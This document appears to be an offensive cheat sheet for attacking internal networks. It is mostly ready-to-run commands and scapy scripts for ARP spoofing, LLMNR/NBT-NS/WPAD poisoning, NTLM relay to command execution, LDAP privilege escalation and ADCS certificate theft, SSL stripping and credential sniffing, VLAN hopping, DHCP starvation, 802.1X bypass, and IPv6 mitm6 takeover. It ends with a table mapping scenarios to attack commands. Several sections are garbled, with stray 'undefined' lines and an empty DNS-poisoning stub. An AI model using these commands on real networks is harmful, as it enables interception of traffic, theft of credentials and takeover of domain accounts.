sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

undefined

from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)

sudo responder -I eth0 -A                    # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf                  # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint

WPAD is a high-value vector: browsers query for `wpad.dat` via DNS then LLMNR/NBT-NS. The `-w` flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y   # C# binary avoids PS logging

nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami"           # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
  --escalate-user attacker --delegate-access                               # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController                          # ADCS ESC8

undefined

undefined

from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random

Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.

undefined

---

sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on

arpspoof -i eth0 -t 10.0.0.50 10.0.0.1                                      # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000  # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0                                                   # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log                               # terminal 4

tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
  -T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap           # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0        # real-time credential sniffer

sudo yersinia dtp -attack 1 -interface eth0    # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan              # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100                      # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up

from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp

undefined

sudo yersinia stp -attack 4 -interface eth0  # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0  # CDP flood (Cisco switches)

sudo dhcpstarv -i eth0                         # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0   # Yersinia alternative

from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random

for i in range(500):
    mac = str(RandMAC())
    pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
          UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
          xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
    sendp(pkt, iface="eth0", verbose=False)

undefined

---

sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u  # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0

sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0          # eth0 to switch
sudo ip link set eth1 master br0          # eth1 to authenticated device
sudo ip link set br0 up

openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt

undefined

sudo macchanger -m 00:1A:4B:XX:XX:XX eth0                     # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0                       # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128   # Windows TTL

sudo mitm6 -d corp.local -i eth0                                       # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
  --delegate-access -wh attacker-wpad.corp.local                        # terminal 2: relay

from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
                        ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)

ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
     ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
     ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
     ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)

sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local   # fake DHCPv6 server
sudo atk6-alive6 eth0                                      # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64                      # SLAAC prefix injection
sudo atk6-parasite6 eth0                                   # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0                                # RA flood (DoS)

sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template Machine                    # relay to ADCS for cert theft

sudo tcpdump -i eth0 -w capture.pcap -nn                                         # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'

http.authbasic                          HTTP Basic Auth
ftp.request.command == "PASS"           FTP password
smtp.req.parameter contains "AUTH"      SMTP auth
ntlmssp                                 NTLM SSP traffic
ntlmssp.auth.username                   NTLM username
smb2.cmd == 1                           SMB session setup
dns.qry.name contains "wpad"            WPAD queries
llmnr                                   LLMNR broadcast
arp.duplicate-address-detected          ARP anomalies
vlan                                    802.1Q frames
snmp.community                          SNMP strings
kerberos.msg.type == 10                 Kerberos AS-REQ

python3 Pcredz -f capture.pcap                                                    # from pcap
sudo python2 net-creds.py -i eth0                                                 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
  -T fields -e http.host -e http.request.uri -e urlencoded-form.value             # HTTP POST

SCENARIO                              TECHNIQUE                    TOOL / COMMAND
------------------------------------  ---------------------------  ------------------------------------------------
Harvest creds passively               LLMNR/NBT-NS poisoning      responder -I eth0 -wrf
Creds captured, won't crack           NTLM relay                  ntlmrelayx -tf targets.txt -smb2support
MITM a specific host                  ARP spoof + sniff           bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic               SSL strip + HSTS bypass     sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN                    DTP trunk negotiation       yersinia dtp -attack 1
Reach VLAN (DTP disabled)             Double tagging              scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway          Starvation + rogue DHCP     dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback)          MAC spoofing                macchanger -m <auth_mac> eth0
Bypass 802.1X (physical)              Bridge insertion             ip link add br0 type bridge
IPv6 DNS takeover + relay             SLAAC/DHCPv6 poisoning      mitm6 -d domain + ntlmrelayx -6
Passive recon only                    Traffic sniffing             tcpdump -i eth0 -w capture.pcap
Extract creds from capture            Credential extraction        PCredz -f capture.pcap / net-creds
Disrupt STP topology                  STP root bridge attack       yersinia stp -attack 4
Poison from Windows foothold          Windows-native poisoning     Inveigh -LLMNR Y -NBNS Y